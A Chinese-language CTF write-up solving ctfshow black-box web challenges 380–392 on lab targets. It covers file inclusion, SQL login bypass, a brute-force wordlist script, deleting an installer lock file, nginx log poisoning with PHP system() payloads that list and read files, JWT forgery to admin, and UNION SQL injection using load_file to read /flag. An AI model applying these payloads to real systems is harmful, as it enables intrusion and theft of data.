ctfshow—黑盒测试
web380
文件包含漏洞
开启环境后,进入界面,是类似一个博客系统
没什么特别异常的东西
有许多文章,随机点入一个文章,观察到url上,为page_1.php
尝试page_2.php
,进入第二个文章
尝试去掉下划线,page.php
提示打开$id.php失败,那么可以尝试添加?id=
很明显的文件包含漏洞,包含了后缀为php
尝试能不能直接读取flag
可以读取得到,最后payload:page.php?id=flag
web381
前端使用后端地址路径
打开界面和380相似,但文件包含漏洞修复了
查看源代码,发现引用css处有一处跟前面不一样
逐级访问,直到访问到不一样的地方,出现flag
web382
按web381进入后台地址,有登录界面
尝试用万能密码登录,成功拿到flag
web383
和web382一样做法,万能密码登录
web384
这次提示密码为首两个为小写字母,后三个为数字
写脚本出字典
import string
s1 = string.ascii_lowercase
s2 = string.digits
f = open('dict','w');
for a in s1:
for b in s1:
for c in s2:
for d in s2:
for e in s2:
p = a+b+c+d+e
f.write(p+'\n')
f.close()
账号admin,密码xy123
web385
扫描后台,发现后门
访问,得到如下
然后访问install/?install
,重置会密码,访问后台界面登录拿到flag
web386
扫描后台,有install.php和clear.php
访问install提示已经安装完成,并由lock.dat锁住不让重置
访问clear提示清理完成
猜测clear.php是清理文件用的,尝试用file拼接
尝试能不能清除index.phpclear.php?file=./index.php
发现被清除了,那么直接清除lock.dat:clear.php?file=./install/lock.dat
然后访问/install
然后就跟上题一样做法
web387
扫描后台扫到了额外的/debug
尝试访问,发现file not exit
那么在后面添加参数?file=/var/html/www/clear.php
看能不能调用clear.php
发现这个作用跟直接访问clear.php
是一样的,相当于直接执行
然后发现可以打开日志文件:/debug/?file=/var/log/nginx/access.log
做法一
然后添加User-Agent
尝试删除lock.dat文件
<?php unlink('/var/www/html/install/lock.dat')?>
访问/debug
再访问/debug/?file=/var/log/nginx/access.log
写入文件
再访问/install/
,发现已经删除
剩下做法如前题
做法二
添加User-Agent
,执行命令结果写入1.txt
<?php system('ls / >/var/www/html/1.txt');?>
访问/debug
再访问/debug/?file=/var/log/nginx/access.log
写入文件
再访问/1.txt
发现可以看到执行命令的结果
做前面题发现,每次登录后台时发现url上都是执行check.php
猜测flag在check.php
那么查看check.php的结果写入文件内
<?php system('cat /var/www/html/alsckdfy/check.php >/var/www/html/1.txt');?>
web388
方法和web387一样,只是没有回显
web389
条件反射 JWT
扫描到依然有/debug后门,访问
权限不足,没登录,应该需要admin权限
查看cookie,eyJh开头,条件反射 JWT
去JWT网站修改加密:JSON Web Tokens – jwt.io
在user处改成admin,下方随机生成密钥
加密后修改cookie,再次访问就如上几题一样做
web390
修改JWT条件反射不行了,只能点点文章看看
发现文章上的url编码换了,变成了
/page.php?id=1
,可能存在sql注入
page.php?id=1 union select 1,2,3 limit 1,1 #
发现回显2和3,那么从2和3中查询
利用sql注入读取文件
/page.php?id=1 union select 1,(select username from admin_user),substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255) limit 1,1 #
php代码被注释,在元素中看到
web391
多了个搜索框,猜测搜索为注入点
原理一样,只是注入方式不一样
search.php?title=a' union select 1,(select username from admin_user),substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255) limit 1,1 %23
web392
flag不在check.php了,尝试发现在根目录
/search.php?title=a' union select 1,(select username from admin_user),substr((select load_file('/flag')),1,255) limit 0,1 %23